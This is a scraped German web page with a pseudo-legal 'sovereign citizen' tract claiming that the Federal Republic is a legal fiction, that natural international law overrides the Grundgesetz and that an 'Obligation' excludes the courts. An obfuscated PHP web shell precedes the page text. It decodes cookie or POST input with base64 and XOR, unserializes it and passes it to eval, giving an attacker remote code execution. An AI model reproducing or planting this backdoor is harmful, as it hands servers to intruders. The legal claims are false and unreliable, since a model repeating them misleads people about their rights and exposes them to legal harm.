$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Schutz vor der BRD Justiz Willkür – No-Zensur.de Das freie Wort für eine freie Welt
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Schutz vor der BRD Justiz Willkür

Schutz vor der BRD Justiz Willkür durch Obligation!

BRD Willkür
BRD Justiz Willkür so schützen Sie sich.

Die Menschen sind in der Regel auf die Personifikation durch das Grundgesetz konditioniert. Aus diesem Grund liegt eine arglistig-heimtückische Täuschung und Tarnung von geheimen Scheingeschäften vor. Denn das natürliche Völkerrecht geht dem Grundgesetz und allen Organisationen der juristischen Bundes-Republik voraus. Aus dieser Tatsachen muss vorher das natürliche Völkerrecht beachtet werden. Alle Personen marschieren, diskutieren und demonstrieren wegen Rechtverletzungen, doch Recht ist im Grundgesetz nicht erreichbar.

Wir müssen unzweifelhaft mit absoluter Beweiskraft annehmen, dass den juristischen Personen das Völkerrecht nach dem Kontrahierungszwang für das vertragliche und außervertragliche Schuldverhältnis in Art. 24 (3), 25 GG bekannt ist. In diesem Zusammenhang weisen Wir auf die Tatsache und Feststellung in BVerfGE 1 BvR 1766/2015 über die Grundrechtberechtigung hin und beziehen Uns auf das außervertragliche Schuldverhältnis nach dem Art. 6, 38-42 EGBG.

Downloaden Sie sich die PDF komplett Dateien !!! Sehr wichtig Lesen und verstehen !!!

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Nichtwollen, Nichtkönnen, Nichtmüssen zum Nichtwissen
kann im Gefahrenbereich der Beweislast nicht wirksam in den Behörden organisiert werden.

Sondern bedarf Vollstreckung der Obligation zur Erkenntnis.

Der gläubige Mensch ist keine Partei und ist durch die Obligation berechtigt,

  •      Seinen materiellen Schaden,
  •      Seinen immateriellen Schaden,
  •       Folgeschaden und
  •       Folgebeseitigungsschaden

durch Restitution zur Amnestie geltend zu machen, der nicht verhandelbar oder nicht nachverhandelbar ist.

Justiz ist daher bei Obligation rechtlich ausgeschlossen.

Vorsatz / Absicht Handlungen der Justiz Angestellten

Der gläubige Mensch ist keine Partei und ist durch die Obligation berechtigt,
·       Seinen materiellen Schaden,
·       Seinen immateriellen Schaden,
·       Folgeschaden und
·       Folgebeseitigungsschaden
durch Restutition zur Amnestie geltend zu machen, der nicht verhandelbar oder nicht nachverhandelbar ist.
Justiz ist daher bei Obligation rechtlich ausgeschlossen. Verbände juristische Personen ihrer juristischen Derivatorganisationen und Bedienstete können nicht Gläubiger sein, weil im Naturrecht die juristische Person nicht glauben kann und rechtlich als Fiktion nicht existiert. Der Mensch ist kein Produkt und nicht prozeßfähig, sondern der Produzent des Rechts zu Recht.
Die obligatorisch Haftpflichtigen und Verantwortlichen der juristischen Personen, der sie fiktional erzeugenden der  jP Bundes-Republik sowie Derivatorganisationen müssen also
  • nicht absichtlich oder fahrlässig handeln
  • oder nicht schuldig sein, um haftbar zu sein,
  • und die Schuld muß auch nicht bewiesen werden,

 da sie verfassungrechtlich geordnet und in Art. 24 (3) GG als Vertragschuld verbrieft ist.

Entstehung der Obligation durch ungerechtfertigte Bereicherung 

Eine ungerechtfertigte Bereicherung liegt dann vor, wenn die jP Bundes-Republik und ihre Behörden eine Zuwendung der Steuer, Buße oder Ähnliches verlangen. Die im Grunde eine freiwillig-gläubige Abgabe sein muß. Durch Nötigung, Bedrohung, Aussetzung, Erpressung, durch Geisel- oder Zwangshaft, rechtlich als Vermögenszuwendung nicht freiwllig begründet ist.
  • •          ohne gültigen Rechtgrund, ohne Grundrechtberechtigung,
  • •          aus einem nicht verwirklichten Rechtgrund oder
  • •          aus einem nachträglich weggefallenen Rechtgrund
Ebenso durch eine Gefährdungshandlung oder eine andere Bedrohung erzwungen wird. Die Kausal-haftung der jP Bundes-Republik in der Organisationshaftung für Derivatorganisationen von Art. 20-146 GG ist in Art. 24 (3) GG in der Verfassungordnung verbrieft für alle
•            finanzielle Schäden und immaterielle Forderungen,
•            Widerrechtlichkeit und
•            adäquater Kausalzusammenhang aus der fehler- und mangelhaften Leistungs- und Eingriffs- oder Eingreifsverwaltung.
Justiz Willkür
Gegen die Justiz Willkür

Quelle: Schuft-Datenbank